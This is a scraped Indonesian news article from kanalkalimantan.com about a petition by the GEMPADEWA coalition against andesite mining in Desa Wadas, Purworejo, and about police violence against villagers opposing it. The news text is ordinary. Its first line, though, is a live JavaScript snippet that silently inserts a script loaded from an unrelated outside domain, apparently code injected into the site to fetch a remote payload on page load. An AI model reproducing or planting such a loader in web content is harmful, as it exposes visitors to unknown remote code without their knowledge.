(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Muncul Petisi Hentikan Pertambangan di Desa Wadas


KANALKALIMANTAN.COM – Buntut dari pengukuran tanah di Desa Wadas, Kecamatan Bener, Kabupaten Purworejo yang berujung ricuh mematik perhatian publik di media sosial.

Seperti diketahui pada hari Selasa (8/2/2022). Petugas proyek mulai melakukan pengukuran tanah di Desa Wadas. Pengukuran tanah tersebut guna memuluskan rencana penambangan batuan andesit material pembangunan proyek Bendungan Bener Purworejo.

Namun, terjadi peristiwa mencengkam antara aparat kepolisian dengan warga setempat. Warga yang menolak rencana penambangan di desanya, berusaha menghalangi petugas proyek melakukan pengukuran.

 

 

Baca juga: Kekerasan di Wadas: Listrik Mati, Sinyal Ponsel Hilang, Warga Terkepung di Masjid

Mirisnya, aparat polisi yang mengamankan warga kontra tersebut dengan cara kekerasan. Di media sosial sendiri sudah banyak beredar anggota polisi memukul hingga menangkap paksa warga yang kontra dengan rencana penambangan di Desa Wadas.

Kekinian, muncul sebuah petisi di media sosial yang berisikan aspirasi masyarakat. Petisi tersebut meminta pemerintah untuk menghentikan rencana penambangan di Desa Wadas.

Terpantau dari akun instagram dan situs  change.org, petisi itu dibuat oleh koalisi Gerakan Masyarakat Peduli Alam Desa Wadas (GEMPADEWA).

Petisi yang telah ditanda tangani sebanyak 24.360 orang ini sebagai bentuk protes. Karena warga Wadas khususnya koalisi Gempadewa tak ingin bentangan alam Desa Wadas dirusak. Terlebih sebagian besar warga Wadas berprofesi sebagai petani.

Baca juga: Banjarbaru Berstatus PPKM Level 2, Dua Meninggal Dunia Positif Covid-19

“Sebagian besar wilayah desa kami akan dikeruk habis dan akan dijadikan lokasi tambang batuan andesit untuk memasok material Bendungan Bener. 28 titik sumber mata air kami akan rusak. Kami akan kehilangan mata pencaharian. Lahan pertanian kami akan rusak,” bunyi keterangan tertulis dalam kata pengantar petisi tersebut.

Selain itu, koalisi Gempadewa juga turut menyayangkan sikap pemerintah yang terkesan acuh dengan aspirasi warga yang menolak rencana penambangan tersebut.

“Waktu kami menolak rencana sosialisasi pematokan tanah kami, aparat malah narik, mukul, menendang, menginjak, dan menjambak kami. Kalian bisa lihat di banyak video yang viral. Bahkan dalam memperjuangakan hak kami, justru kami yang berjuang untuk Alam Desa Wadas mendapat stigma sebagai provokator, ditunggangi anarko, tidak paham permasalahan, dan seterusnya,”

“Kami juga nggak dilibatkan dalam penyusunan AMDAL. Kami menduga, ada manipulasi dokumen untuk memenuhi formalitas belaka namun sangat miskin akan subtansinya,” jelasnya.

Baca juga: Tiga Terduga Pelaku Prostitusi Terciduk Polisi di Penginapan Arjuna

Melalui petisi ini, koalisi Gempadewa berharap meminta seluruh masyarakat Indonesia untuk mendesak Presiden Joko Widodo, Gubernur Jawa Tengah, Bupati Purworejo untuk menghentikan rencana pertambangan Batuan Andesit untuk pembangunan Bendungan Bener di Desa Wadas.

Mereka juga juga meminta kepada seluruh pemangku kebijakan agar menghentikan bentuk intimidasi, kekerasan, dan stigmatisasi terhadap perjuangan warga Wadas dalam menjaga dan melestarikan lingkungan dan ruang hidupnya.

“Tolong, biarkan kami hidup aman dan damai seperti sedia kala. Jangan hancurkan tanah nenek moyang kami. Kami sudah bahagia dengan kondisi Kami saat ini,” tandas koalisi Gempadewa. (kanalkalimantan.com/fitroh nurikhsan)

Reporter : fitroh nurikhsan
Editor : kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.